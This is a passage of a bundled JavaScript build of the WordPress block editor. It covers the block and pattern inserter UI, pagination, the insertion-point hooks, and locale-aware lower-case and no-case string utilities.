41603 items.length > 3 && !!suggestedItems.length && /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(panel_default, { title: (0,external_wp_i18n_namespaceObject._x)("Most used", "blocks"), children: /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(
41604 block_types_list_default,
41605 {
41606 items: suggestedItems,
41607 onSelect: onSelectItem,
41608 onHover,
41609 label: (0,external_wp_i18n_namespaceObject._x)("Most used", "blocks")
41610 }
41611 ) }),
41612 currentlyRenderedCategories.map((category) => {
41613 const categoryItems = items.filter(
41614 (item) => item.category === category.slug
41615 );
41616 if (!categoryItems || !categoryItems.length) {
41617 return null;
41618 }
41619 return /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(
41620 panel_default,
41621 {
41622 title: category.title,
41623 icon: category.icon,
41624 children: /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(
41625 block_types_list_default,
41626 {
41627 items: categoryItems,
41628 onSelect: onSelectItem,
41629 onHover,
41630 label: category.title
41631 }
41632 )
41633 },
41634 category.slug
41635 );
41636 }),
41637 didRenderAllCategories && uncategorizedItems.length > 0 && /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(
41638 panel_default,
41639 {
41640 className: "block-editor-inserter__uncategorized-blocks-panel",
41641 title: (0,external_wp_i18n_namespaceObject.__)("Uncategorized"),
41642 children: /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(
41643 block_types_list_default,
41644 {
41645 items: uncategorizedItems,
41646 onSelect: onSelectItem,
41647 onHover,
41648 label: (0,external_wp_i18n_namespaceObject.__)("Uncategorized")
41649 }
41650 )
41651 }
41652 ),
41653 currentlyRenderedCollections.map(
41654 ([namespace, collection]) => {
41655 const collectionItems = itemsPerCollection[namespace];
41656 if (!collectionItems || !collectionItems.length) {
41657 return null;
41658 }
41659 return /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(
41660 panel_default,
41661 {
41662 title: collection.title,
41663 icon: collection.icon,
41664 children: /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(
41665 block_types_list_default,
41666 {
41667 items: collectionItems,
41668 onSelect: onSelectItem,
41669 onHover,
41670 label: collection.title
41671 }
41672 )
41673 },
41674 namespace
41675 );
41676 }
41677 )
41678 ] });
41679}
41680function BlockTypesTab({ rootClientId, onInsert, onHover, showMostUsedBlocks }, ref) {
41681 const [items, categories, collections, onSelectItem] = use_block_types_state_default(
41682 rootClientId,
41683 onInsert
41684 );
41685 if (!items.length) {
41686 return /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(no_results_default, {});
41687 }
41688 const itemsForCurrentRoot = [];
41689 const itemsRemaining = [];
41690 for (const item of items) {
41691 if (item.category === "reusable") {
41692 continue;
41693 }
41694 if (item.isAllowedInCurrentRoot) {
41695 itemsForCurrentRoot.push(item);
41696 } else {
41697 itemsRemaining.push(item);
41698 }
41699 }
41700 return /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(inserter_listbox_default, { children: /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsxs)("div", { ref, children: [
41701 !!itemsForCurrentRoot.length && /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(external_ReactJSXRuntime_namespaceObject.Fragment, { children: /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(
41702 BlockTypesTabPanel,
41703 {
41704 items: itemsForCurrentRoot,
41705 categories,
41706 collections,
41707 onSelectItem,
41708 onHover,
41709 showMostUsedBlocks,
41710 className: "block-editor-inserter__insertable-blocks-at-selection"
41711 }
41712 ) }),
41713 /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(
41714 BlockTypesTabPanel,
41715 {
41716 items: itemsRemaining,
41717 categories,
41718 collections,
41719 onSelectItem,
41720 onHover,
41721 showMostUsedBlocks,
41722 className: "block-editor-inserter__all-blocks"
41723 }
41724 )
41725 ] }) });
41726}
41727var block_types_tab_default = (0,external_wp_element_namespaceObject.forwardRef)(BlockTypesTab);
41728
41729
41730;// ./node_modules/@wordpress/block-editor/build-module/components/inserter/block-patterns-explorer/pattern-explorer-sidebar.js
41731
41732
41733
41734function PatternCategoriesList({
41735 selectedCategory,
41736 patternCategories,
41737 onClickCategory
41738}) {
41739 const baseClassName = "block-editor-block-patterns-explorer__sidebar";
41740 return /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)("div", { className: `${baseClassName}__categories-list`, children: patternCategories.map(({ name, label }) => {
41741 return /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(
41742 external_wp_components_namespaceObject.Button,
41743 {
41744 __next40pxDefaultSize: true,
41745 label,
41746 className: `${baseClassName}__categories-list__item`,
41747 isPressed: selectedCategory === name,
41748 onClick: () => {
41749 onClickCategory(name);
41750 },
41751 children: label
41752 },
41753 name
41754 );
41755 }) });
41756}
41757function PatternsExplorerSearch({ searchValue, setSearchValue }) {
41758 const baseClassName = "block-editor-block-patterns-explorer__search";
41759 return /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)("div", { className: baseClassName, children: /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(
41760 external_wp_components_namespaceObject.SearchControl,
41761 {
41762 __nextHasNoMarginBottom: true,
41763 onChange: setSearchValue,
41764 value: searchValue,
41765 label: (0,external_wp_i18n_namespaceObject.__)("Search"),
41766 placeholder: (0,external_wp_i18n_namespaceObject.__)("Search")
41767 }
41768 ) });
41769}
41770function PatternExplorerSidebar({
41771 selectedCategory,
41772 patternCategories,
41773 onClickCategory,
41774 searchValue,
41775 setSearchValue
41776}) {
41777 const baseClassName = "block-editor-block-patterns-explorer__sidebar";
41778 return /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsxs)("div", { className: baseClassName, children: [
41779 /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(
41780 PatternsExplorerSearch,
41781 {
41782 searchValue,
41783 setSearchValue
41784 }
41785 ),
41786 !searchValue && /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(
41787 PatternCategoriesList,
41788 {
41789 selectedCategory,
41790 patternCategories,
41791 onClickCategory
41792 }
41793 )
41794 ] });
41795}
41796var pattern_explorer_sidebar_default = PatternExplorerSidebar;
41797
41798
41799;// ./node_modules/@wordpress/block-editor/build-module/components/block-patterns-paging/index.js
41800
41801
41802
41803function Pagination({
41804 currentPage,
41805 numPages,
41806 changePage,
41807 totalItems
41808}) {
41809 return /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsxs)(external_wp_components_namespaceObject.__experimentalVStack, { className: "block-editor-patterns__grid-pagination-wrapper", children: [
41810 /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(external_wp_components_namespaceObject.__experimentalText, { variant: "muted", children: (0,external_wp_i18n_namespaceObject.sprintf)(
41811 // translators: %s: Total number of patterns.
41812 (0,external_wp_i18n_namespaceObject._n)("%s item", "%s items", totalItems),
41813 totalItems
41814 ) }),
41815 numPages > 1 && /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsxs)(
41816 external_wp_components_namespaceObject.__experimentalHStack,
41817 {
41818 expanded: false,
41819 spacing: 3,
41820 justify: "flex-start",
41821 className: "block-editor-patterns__grid-pagination",
41822 children: [
41823 /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsxs)(
41824 external_wp_components_namespaceObject.__experimentalHStack,
41825 {
41826 expanded: false,
41827 spacing: 1,
41828 className: "block-editor-patterns__grid-pagination-previous",
41829 children: [
41830 /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(
41831 external_wp_components_namespaceObject.Button,
41832 {
41833 variant: "tertiary",
41834 onClick: () => changePage(1),
41835 disabled: currentPage === 1,
41836 "aria-label": (0,external_wp_i18n_namespaceObject.__)("First page"),
41837 size: "compact",
41838 accessibleWhenDisabled: true,
41839 className: "block-editor-patterns__grid-pagination-button",
41840 children: /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)("span", { children: "\xAB" })
41841 }
41842 ),
41843 /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(
41844 external_wp_components_namespaceObject.Button,
41845 {
41846 variant: "tertiary",
41847 onClick: () => changePage(currentPage - 1),
41848 disabled: currentPage === 1,
41849 "aria-label": (0,external_wp_i18n_namespaceObject.__)("Previous page"),
41850 size: "compact",
41851 accessibleWhenDisabled: true,
41852 className: "block-editor-patterns__grid-pagination-button",
41853 children: /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)("span", { children: "\u2039" })
41854 }
41855 )
41856 ]
41857 }
41858 ),
41859 /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(external_wp_components_namespaceObject.__experimentalText, { variant: "muted", children: (0,external_wp_i18n_namespaceObject.sprintf)(
41860 // translators: 1: Current page number. 2: Total number of pages.
41861 (0,external_wp_i18n_namespaceObject._x)("%1$s of %2$s", "paging"),
41862 currentPage,
41863 numPages
41864 ) }),
41865 /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsxs)(
41866 external_wp_components_namespaceObject.__experimentalHStack,
41867 {
41868 expanded: false,
41869 spacing: 1,
41870 className: "block-editor-patterns__grid-pagination-next",
41871 children: [
41872 /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(
41873 external_wp_components_namespaceObject.Button,
41874 {
41875 variant: "tertiary",
41876 onClick: () => changePage(currentPage + 1),
41877 disabled: currentPage === numPages,
41878 "aria-label": (0,external_wp_i18n_namespaceObject.__)("Next page"),
41879 size: "compact",
41880 accessibleWhenDisabled: true,
41881 className: "block-editor-patterns__grid-pagination-button",
41882 children: /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)("span", { children: "\u203A" })
41883 }
41884 ),
41885 /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(
41886 external_wp_components_namespaceObject.Button,
41887 {
41888 variant: "tertiary",
41889 onClick: () => changePage(numPages),
41890 disabled: currentPage === numPages,
41891 "aria-label": (0,external_wp_i18n_namespaceObject.__)("Last page"),
41892 size: "compact",
41893 accessibleWhenDisabled: true,
41894 className: "block-editor-patterns__grid-pagination-button",
41895 children: /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)("span", { children: "\xBB" })
41896 }
41897 )
41898 ]
41899 }
41900 )
41901 ]
41902 }
41903 )
41904 ] });
41905}
41906
41907
41908;// ./node_modules/@wordpress/block-editor/build-module/components/block-patterns-list/index.js
41909
41910
41911
41912
41913
41914
41915
41916
41917
41918
41919
41920
41921const WithToolTip = ({ showTooltip, title, children }) => {
41922 if (showTooltip) {
41923 return /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(external_wp_components_namespaceObject.Tooltip, { text: title, children });
41924 }
41925 return /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(external_ReactJSXRuntime_namespaceObject.Fragment, { children });
41926};
41927function BlockPattern({
41928 id,
41929 isDraggable,
41930 pattern,
41931 onClick,
41932 onHover,
41933 showTitlesAsTooltip,
41934 category,
41935 isSelected
41936}) {
41937 const [isDragging, setIsDragging] = (0,external_wp_element_namespaceObject.useState)(false);
41938 const { blocks, viewportWidth } = pattern;
41939 const instanceId = (0,external_wp_compose_namespaceObject.useInstanceId)(BlockPattern);
41940 const descriptionId = `block-editor-block-patterns-list__item-description-${instanceId}`;
41941 const isUserPattern = pattern.type === INSERTER_PATTERN_TYPES.user;
41942 const patternBlocks = (0,external_wp_element_namespaceObject.useMemo)(() => {
41943 if (!category || !isDraggable) {
41944 return blocks;
41945 }
41946 return (blocks ?? []).map((block) => {
41947 const clonedBlock = (0,external_wp_blocks_namespaceObject.cloneBlock)(block);
41948 if (clonedBlock.attributes.metadata?.categories?.includes(
41949 category
41950 )) {
41951 clonedBlock.attributes.metadata.categories = [category];
41952 }
41953 return clonedBlock;
41954 });
41955 }, [blocks, isDraggable, category]);
41956 return /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(
41957 inserter_draggable_blocks_default,
41958 {
41959 isEnabled: isDraggable,
41960 blocks: patternBlocks,
41961 pattern,
41962 children: ({ draggable, onDragStart, onDragEnd }) => /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(
41963 "div",
41964 {
41965 className: "block-editor-block-patterns-list__list-item",
41966 draggable,
41967 onDragStart: (event) => {
41968 setIsDragging(true);
41969 if (onDragStart) {
41970 onHover?.(null);
41971 onDragStart(event);
41972 }
41973 },
41974 onDragEnd: (event) => {
41975 setIsDragging(false);
41976 if (onDragEnd) {
41977 onDragEnd(event);
41978 }
41979 },
41980 children: /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(
41981 WithToolTip,
41982 {
41983 showTooltip: showTitlesAsTooltip && !isUserPattern,
41984 title: pattern.title,
41985 children: /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsxs)(
41986 external_wp_components_namespaceObject.Composite.Item,
41987 {
41988 render: /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(
41989 "div",
41990 {
41991 role: "option",
41992 "aria-label": pattern.title,
41993 "aria-describedby": pattern.description ? descriptionId : void 0,
41994 className: dist_clsx(
41995 "block-editor-block-patterns-list__item",
41996 {
41997 "block-editor-block-patterns-list__list-item-synced": pattern.type === INSERTER_PATTERN_TYPES.user && !pattern.syncStatus,
41998 "is-selected": isSelected
41999 }
42000 )
42001 }
42002 ),
42003 id,
42004 onClick: () => {
42005 onClick(pattern, blocks);
42006 onHover?.(null);
42007 },
42008 onMouseEnter: () => {
42009 if (isDragging) {
42010 return;
42011 }
42012 onHover?.(pattern);
42013 },
42014 onMouseLeave: () => onHover?.(null),
42015 children: [
42016 /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(
42017 block_preview_default.Async,
42018 {
42019 placeholder: /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(BlockPatternPlaceholder, {}),
42020 children: /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(
42021 block_preview_default,
42022 {
42023 blocks,
42024 viewportWidth
42025 }
42026 )
42027 }
42028 ),
42029 (!showTitlesAsTooltip || isUserPattern) && /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsxs)(
42030 external_wp_components_namespaceObject.__experimentalHStack,
42031 {
42032 className: "block-editor-patterns__pattern-details",
42033 spacing: 2,
42034 children: [
42035 isUserPattern && !pattern.syncStatus && /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)("div", { className: "block-editor-patterns__pattern-icon-wrapper", children: /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(
42036 icon_default,
42037 {
42038 className: "block-editor-patterns__pattern-icon",
42039 icon: symbol_default
42040 }
42041 ) }),
42042 /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)("div", { className: "block-editor-block-patterns-list__item-title", children: pattern.title })
42043 ]
42044 }
42045 ),
42046 !!pattern.description && /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(external_wp_components_namespaceObject.VisuallyHidden, { id: descriptionId, children: pattern.description })
42047 ]
42048 }
42049 )
42050 }
42051 )
42052 }
42053 )
42054 }
42055 );
42056}
42057function BlockPatternPlaceholder() {
42058 return /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)("div", { className: "block-editor-block-patterns-list__item is-placeholder" });
42059}
42060function BlockPatternsList({
42061 isDraggable,
42062 blockPatterns,
42063 onHover,
42064 onClickPattern,
42065 orientation,
42066 label = (0,external_wp_i18n_namespaceObject.__)("Block patterns"),
42067 category,
42068 showTitlesAsTooltip,
42069 pagingProps
42070}, ref) {
42071 const [activeCompositeId, setActiveCompositeId] = (0,external_wp_element_namespaceObject.useState)(void 0);
42072 const [activePattern, setActivePattern] = (0,external_wp_element_namespaceObject.useState)(null);
42073 (0,external_wp_element_namespaceObject.useEffect)(() => {
42074 const firstCompositeItemId = blockPatterns[0]?.name;
42075 setActiveCompositeId(firstCompositeItemId);
42076 }, [blockPatterns]);
42077 const handleClickPattern = (pattern, blocks) => {
42078 setActivePattern(pattern.name);
42079 onClickPattern(pattern, blocks);
42080 };
42081 return /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsxs)(
42082 external_wp_components_namespaceObject.Composite,
42083 {
42084 orientation,
42085 activeId: activeCompositeId,
42086 setActiveId: setActiveCompositeId,
42087 role: "listbox",
42088 className: "block-editor-block-patterns-list",
42089 "aria-label": label,
42090 ref,
42091 children: [
42092 blockPatterns.map((pattern) => /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(
42093 BlockPattern,
42094 {
42095 id: pattern.name,
42096 pattern,
42097 onClick: handleClickPattern,
42098 onHover,
42099 isDraggable,
42100 showTitlesAsTooltip,
42101 category,
42102 isSelected: !!activePattern && activePattern === pattern.name
42103 },
42104 pattern.name
42105 )),
42106 pagingProps && /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(Pagination, { ...pagingProps })
42107 ]
42108 }
42109 );
42110}
42111var block_patterns_list_default = (0,external_wp_element_namespaceObject.forwardRef)(BlockPatternsList);
42112
42113
42114;// ./node_modules/@wordpress/block-editor/build-module/components/inserter/hooks/use-insertion-point.js
42115
42116
42117
42118
42119
42120
42121
42122function getIndex({
42123 destinationRootClientId,
42124 destinationIndex,
42125 rootClientId,
42126 registry
42127}) {
42128 if (rootClientId === destinationRootClientId) {
42129 return destinationIndex;
42130 }
42131 const parents = [
42132 "",
42133 ...registry.select(store).getBlockParents(destinationRootClientId),
42134 destinationRootClientId
42135 ];
42136 const parentIndex = parents.indexOf(rootClientId);
42137 if (parentIndex !== -1) {
42138 return registry.select(store).getBlockIndex(parents[parentIndex + 1]) + 1;
42139 }
42140 return registry.select(store).getBlockOrder(rootClientId).length;
42141}
42142function useInsertionPoint({
42143 rootClientId = "",
42144 insertionIndex,
42145 clientId,
42146 isAppender,
42147 onSelect,
42148 shouldFocusBlock = true,
42149 selectBlockOnInsert = true
42150}) {
42151 const registry = (0,external_wp_data_namespaceObject.useRegistry)();
42152 const {
42153 getSelectedBlock,
42154 getClosestAllowedInsertionPoint,
42155 isBlockInsertionPointVisible
42156 } = unlock((0,external_wp_data_namespaceObject.useSelect)(store));
42157 const { destinationRootClientId, destinationIndex } = (0,external_wp_data_namespaceObject.useSelect)(
42158 (select) => {
42159 const {
42160 getSelectedBlockClientId,
42161 getBlockRootClientId,
42162 getBlockIndex,
42163 getBlockOrder,
42164 getInsertionPoint
42165 } = unlock(select(store));
42166 const selectedBlockClientId = getSelectedBlockClientId();
42167 let _destinationRootClientId = rootClientId;
42168 let _destinationIndex;
42169 const insertionPoint = getInsertionPoint();
42170 if (insertionIndex !== void 0) {
42171 _destinationIndex = insertionIndex;
42172 } else if (insertionPoint && insertionPoint.hasOwnProperty("index")) {
42173 _destinationRootClientId = insertionPoint?.rootClientId ? insertionPoint.rootClientId : rootClientId;
42174 _destinationIndex = insertionPoint.index;
42175 } else if (clientId) {
42176 _destinationIndex = getBlockIndex(clientId);
42177 } else if (!isAppender && selectedBlockClientId) {
42178 _destinationRootClientId = getBlockRootClientId(
42179 selectedBlockClientId
42180 );
42181 _destinationIndex = getBlockIndex(selectedBlockClientId) + 1;
42182 } else {
42183 _destinationIndex = getBlockOrder(
42184 _destinationRootClientId
42185 ).length;
42186 }
42187 return {
42188 destinationRootClientId: _destinationRootClientId,
42189 destinationIndex: _destinationIndex
42190 };
42191 },
42192 [rootClientId, insertionIndex, clientId, isAppender]
42193 );
42194 const {
42195 replaceBlocks,
42196 insertBlocks,
42197 showInsertionPoint,
42198 hideInsertionPoint,
42199 setLastFocus
42200 } = unlock((0,external_wp_data_namespaceObject.useDispatch)(store));
42201 const onInsertBlocks = (0,external_wp_element_namespaceObject.useCallback)(
42202 (blocks, meta, shouldForceFocusBlock = false, _rootClientId) => {
42203 if (shouldForceFocusBlock || shouldFocusBlock || selectBlockOnInsert) {
42204 setLastFocus(null);
42205 }
42206 const selectedBlock = getSelectedBlock();
42207 if (!isAppender && selectedBlock && (0,external_wp_blocks_namespaceObject.isUnmodifiedDefaultBlock)(selectedBlock, "content")) {
42208 replaceBlocks(
42209 selectedBlock.clientId,
42210 blocks,
42211 null,
42212 shouldFocusBlock || shouldForceFocusBlock ? 0 : null,
42213 meta
42214 );
42215 } else {
42216 insertBlocks(
42217 blocks,
42218 isAppender || _rootClientId === void 0 ? destinationIndex : getIndex({
42219 destinationRootClientId,
42220 destinationIndex,
42221 rootClientId: _rootClientId,
42222 registry
42223 }),
42224 isAppender || _rootClientId === void 0 ? destinationRootClientId : _rootClientId,
42225 selectBlockOnInsert,
42226 shouldFocusBlock || shouldForceFocusBlock ? 0 : null,
42227 meta
42228 );
42229 }
42230 const blockLength = Array.isArray(blocks) ? blocks.length : 1;
42231 const message = (0,external_wp_i18n_namespaceObject.sprintf)(
42232 // translators: %d: the name of the block that has been added
42233 (0,external_wp_i18n_namespaceObject._n)("%d block added.", "%d blocks added.", blockLength),
42234 blockLength
42235 );
42236 (0,external_wp_a11y_namespaceObject.speak)(message);
42237 if (onSelect) {
42238 onSelect(blocks);
42239 }
42240 },
42241 [
42242 isAppender,
42243 getSelectedBlock,
42244 replaceBlocks,
42245 insertBlocks,
42246 destinationRootClientId,
42247 destinationIndex,
42248 onSelect,
42249 shouldFocusBlock,
42250 selectBlockOnInsert
42251 ]
42252 );
42253 const onToggleInsertionPoint = (0,external_wp_element_namespaceObject.useCallback)(
42254 (item) => {
42255 if (item && !isBlockInsertionPointVisible()) {
42256 const allowedDestinationRootClientId = getClosestAllowedInsertionPoint(
42257 item.name,
42258 destinationRootClientId
42259 );
42260 if (allowedDestinationRootClientId !== null) {
42261 showInsertionPoint(
42262 allowedDestinationRootClientId,
42263 getIndex({
42264 destinationRootClientId,
42265 destinationIndex,
42266 rootClientId: allowedDestinationRootClientId,
42267 registry
42268 })
42269 );
42270 }
42271 } else {
42272 hideInsertionPoint();
42273 }
42274 },
42275 [
42276 getClosestAllowedInsertionPoint,
42277 isBlockInsertionPointVisible,
42278 showInsertionPoint,
42279 hideInsertionPoint,
42280 destinationRootClientId,
42281 destinationIndex
42282 ]
42283 );
42284 return [destinationRootClientId, onInsertBlocks, onToggleInsertionPoint];
42285}
42286var use_insertion_point_default = useInsertionPoint;
42287
42288
42289;// ./node_modules/@wordpress/block-editor/build-module/components/inserter/hooks/use-patterns-state.js
42290
42291
42292
42293
42294
42295
42296
42297
42298
42299const usePatternsState = (onInsert, rootClientId, selectedCategory, isQuick) => {
42300 const options = (0,external_wp_element_namespaceObject.useMemo)(
42301 () => ({ [isFiltered]: !!isQuick }),
42302 [isQuick]
42303 );
42304 const { patternCategories, patterns, userPatternCategories } = (0,external_wp_data_namespaceObject.useSelect)(
42305 (select) => {
42306 const { getSettings, __experimentalGetAllowedPatterns } = unlock(
42307 select(store)
42308 );
42309 const {
42310 __experimentalUserPatternCategories,
42311 __experimentalBlockPatternCategories
42312 } = getSettings();
42313 return {
42314 patterns: __experimentalGetAllowedPatterns(
42315 rootClientId,
42316 options
42317 ),
42318 userPatternCategories: __experimentalUserPatternCategories,
42319 patternCategories: __experimentalBlockPatternCategories
42320 };
42321 },
42322 [rootClientId, options]
42323 );
42324 const { getClosestAllowedInsertionPointForPattern } = unlock(
42325 (0,external_wp_data_namespaceObject.useSelect)(store)
42326 );
42327 const allCategories = (0,external_wp_element_namespaceObject.useMemo)(() => {
42328 const categories = [...patternCategories];
42329 userPatternCategories?.forEach((userCategory) => {
42330 if (!categories.find(
42331 (existingCategory) => existingCategory.name === userCategory.name
42332 )) {
42333 categories.push(userCategory);
42334 }
42335 });
42336 return categories;
42337 }, [patternCategories, userPatternCategories]);
42338 const { createSuccessNotice } = (0,external_wp_data_namespaceObject.useDispatch)(external_wp_notices_namespaceObject.store);
42339 const onClickPattern = (0,external_wp_element_namespaceObject.useCallback)(
42340 (pattern, blocks) => {
42341 const destinationRootClientId = isQuick ? rootClientId : getClosestAllowedInsertionPointForPattern(
42342 pattern,
42343 rootClientId
42344 );
42345 if (destinationRootClientId === null) {
42346 return;
42347 }
42348 const patternBlocks = pattern.type === INSERTER_PATTERN_TYPES.user && pattern.syncStatus !== "unsynced" ? [(0,external_wp_blocks_namespaceObject.createBlock)("core/block", { ref: pattern.id })] : blocks;
42349 onInsert(
42350 (patternBlocks ?? []).map((block) => {
42351 const clonedBlock = (0,external_wp_blocks_namespaceObject.cloneBlock)(block);
42352 if (clonedBlock.attributes.metadata?.categories?.includes(
42353 selectedCategory
42354 )) {
42355 clonedBlock.attributes.metadata.categories = [
42356 selectedCategory
42357 ];
42358 }
42359 return clonedBlock;
42360 }),
42361 pattern.name,
42362 false,
42363 destinationRootClientId
42364 );
42365 createSuccessNotice(
42366 (0,external_wp_i18n_namespaceObject.sprintf)(
42367 /* translators: %s: block pattern title. */
42368 (0,external_wp_i18n_namespaceObject.__)('Block pattern "%s" inserted.'),
42369 pattern.title
42370 ),
42371 {
42372 type: "snackbar",
42373 id: "inserter-notice"
42374 }
42375 );
42376 },
42377 [
42378 createSuccessNotice,
42379 onInsert,
42380 selectedCategory,
42381 rootClientId,
42382 getClosestAllowedInsertionPointForPattern,
42383 isQuick
42384 ]
42385 );
42386 return [patterns, allCategories, onClickPattern];
42387};
42388var use_patterns_state_default = usePatternsState;
42389
42390
42391// EXTERNAL MODULE: ./node_modules/remove-accents/index.js
42392var remove_accents = __webpack_require__(9681);
42393var remove_accents_default = /*#__PURE__*/__webpack_require__.n(remove_accents);
42394;// ./node_modules/lower-case/dist.es2015/index.js
42395/**
42396 * Source: ftp://ftp.unicode.org/Public/UCD/latest/ucd/SpecialCasing.txt
42397 */
42398var SUPPORTED_LOCALE = {
42399 tr: {
42400 regexp: /\u0130|\u0049|\u0049\u0307/g,
42401 map: {
42402 İ: "\u0069",
42403 I: "\u0131",
42404 İ: "\u0069",
42405 },
42406 },
42407 az: {
42408 regexp: /\u0130/g,
42409 map: {
42410 İ: "\u0069",
42411 I: "\u0131",
42412 İ: "\u0069",
42413 },
42414 },
42415 lt: {
42416 regexp: /\u0049|\u004A|\u012E|\u00CC|\u00CD|\u0128/g,
42417 map: {
42418 I: "\u0069\u0307",
42419 J: "\u006A\u0307",
42420 Į: "\u012F\u0307",
42421 Ì: "\u0069\u0307\u0300",
42422 Í: "\u0069\u0307\u0301",
42423 Ĩ: "\u0069\u0307\u0303",
42424 },
42425 },
42426};
42427/**
42428 * Localized lower case.
42429 */
42430function localeLowerCase(str, locale) {
42431 var lang = SUPPORTED_LOCALE[locale.toLowerCase()];
42432 if (lang)
42433 return lowerCase(str.replace(lang.regexp, function (m) { return lang.map[m]; }));
42434 return lowerCase(str);
42435}
42436/**
42437 * Lower case as a function.
42438 */
42439function lowerCase(str) {
42440 return str.toLowerCase();
42441}
42442
42443;// ./node_modules/no-case/dist.es2015/index.js
42444
42445// Support camel case ("camelCase" -> "camel Case" and "CAMELCase" -> "CAMEL Case").
42446var DEFAULT_SPLIT_REGEXP = [/([a-z0-9])([A-Z])/g, /([A-Z])([A-Z][a-z])/g];
42447// Remove all non-word characters.
42448var DEFAULT_STRIP_REGEXP = /[^A-Z0-9]+/gi;
42449/**
42450 * Normalize the string into something other libraries can manipulate easier.
42451 */
42452function noCase(input, options) {
42453 if (options === void 0) { options = {}; }
42454 var _a = options.splitRegexp, splitRegexp = _a === void 0 ? DEFAULT_SPLIT_REGEXP : _a, _b = options.stripRegexp, stripRegexp = _b === void 0 ? DEFAULT_STRIP_REGEXP : _b, _c = options.transform, transform = _c === void 0 ? lowerCase : _c, _d = options.delimiter, delimiter = _d === void 0 ? " " : _d;
42455 var result = dist_es2015_replace(dist_es2015_replace(input, splitRegexp, "$1\0$2"), stripRegexp, "\0");
42456 var start = 0;
42457 var end = result.length;
42458 // Trim the delimiter from around the output string.
42459 while (result.charAt(start) === "\0")
42460 start++;
42461 while (result.charAt(end - 1) === "\0")
42462 end--;
42463 // Transform each token independently.
42464 return result.slice(start, end).split("\0").map(transform).join(delimiter);
42465}
42466/**
42467 * Replace `re` in the input string with the replacement value.
42468 */
42469function dist_es2015_replace(input, re, value) {
42470 if (re instanceof RegExp)
42471 return input.replace(re, value);
42472 return re.reduce(function (input, re) { return input.replace(re, value); }, input);
42473}
42474
42475;// ./node_modules/@wordpress/block-editor/build-module/components/inserter/search-items.js
42476
42477
42478const defaultGetName = (item) => item.name || "";
42479const defaultGetTitle = (item) => item.title;
42480const defaultGetDescription = (item) => item.description || "";
42481const defaultGetKeywords = (item) => item.keywords || [];
42482const defaultGetCategory = (item) => item.category;
42483const defaultGetCollection = () => null;
42484const splitRegexp = [
42485 /([\p{Ll}\p{Lo}\p{N}])([\p{Lu}\p{Lt}])/gu,
42486 // One lowercase or digit, followed by one uppercase.
42487 /([\p{Lu}\p{Lt}])([\p{Lu}\p{Lt}][\p{Ll}\p{Lo}])/gu
42488 // One uppercase followed by one uppercase and one lowercase.
42489];
42490const stripRegexp = new RegExp("(\\p{C}|\\p{P}|\\p{S})+", "giu");
42491const extractedWords = /* @__PURE__ */ new Map();
42492const normalizedStrings = /* @__PURE__ */ new Map();
42493function extractWords(input = "") {
42494 if (extractedWords.has(input)) {
42495 return extractedWords.get(input);
42496 }
42497 const result = noCase(input, {
